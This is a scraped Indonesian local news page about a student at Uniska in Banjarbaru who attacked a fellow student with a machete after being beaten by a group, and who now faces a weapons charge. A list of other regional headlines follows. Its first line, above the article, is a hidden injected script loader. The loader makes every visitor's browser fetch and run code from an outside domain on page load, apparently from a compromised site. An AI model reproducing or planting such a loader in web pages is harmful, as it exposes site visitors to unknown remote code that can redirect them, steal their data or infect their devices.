(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Wahyudi Ayunkan Parang ke Adik Kelasnya Karena Dikeroyok di Gedung Kampus Uniska


BANJARBARU, Pasca kasus perkelahian mahasiswa di Uniska pada Senin (14/10), Wahyudi (26) mahasiswa asal Kabupaten Tapin akhirnya ditetapkan sebagai tersangka. Hal ini lantaran aksinya yang coba ‘menghabisi’ adik kelasnya H menggunakan parang.

Terungkap, awalnya Wahyudi awalnya dikeroyok  sebelum aksi pembalasannya di halaman parkir. Sebelumnya, sudah beredar video berdurasi 11 detik yang menayangkan pengeroyokan di dalam gedung Kampus terhadap salah satu mahasiswa

Kakak Wahyudi, Herma, menerangkan bahwa dalam video tersebut, adiknya awal berkelahi satu lawan satu melawan H. Namun, teman-teman H ikut membantu perkelahian sehingga Wahyudi kalah telak dan mengalami luka memar.

“Adik saya tidak terima dikeroyok begitu. Dia (Wahyudi) pulang ke rumah mengambil senjata tajam dan kembali ke kampus Uniska. Sampai akhirnya melakukan tindakan nekat tersebut. Saya saat itu tidak di rumah, sedang bekerja. Tahu kejadian ini, setelah adik saya di amankan,” terang Herma.

Herma sendiri mengaku, dirinya mendampingi adiknya sampai malam hari di Mapolres. Rencananya, pihak keluarga Wahyudi akan melaporkan secara resmi ke kepolisian, terkait kejadian penyerokokan adiknya Selasa (15/10) ini.

Meski dikeroyok, dalam kasus perkelahian ini Wahyudi telah melanggar hukum yang berlaku. Pihak kepolisian sendiri menyangkakan  UU Darurat No 12 Tahun 1951 kepada Wahyudi tentang menguasai atau memiliki dan atau menyimpan senjata tajam tanpa dilengkapi surat ijin yang sah dengan ancaman pidana penjara paling lama 10 tahun.

Seperti yang diberitakan sebelumnya, halaman parkir Uniska di Banjarbaru, Senin (14/10) sekitar pukul 14.17 wita dibuat geger. Penyerangan Wahyudi menggunakan parang, membuat jam perkuliahan sempat terganggu.

Dari keterangan yang didapat,  keributan tersebut ulah Wahyudi saat menyerang adik kelasnya sendiri yakni H. “Saat tiba di tempat kejadian kerumunan mahasiswa lainnya cukup banyak dan petugas gabungan dari Polres Banjarbaru berhasil mengamankan pelaku beserta senjata tajam jenis parang dengan panjang 41 cm dengan gagang warna coklat yang dibawanya,” ucapnya Kasubag Humas Polres Banjarbaru, AKP Siti Rohayati. (Rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

8 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

9 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

10 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

11 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

12 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

13 jam ago

This website uses cookies.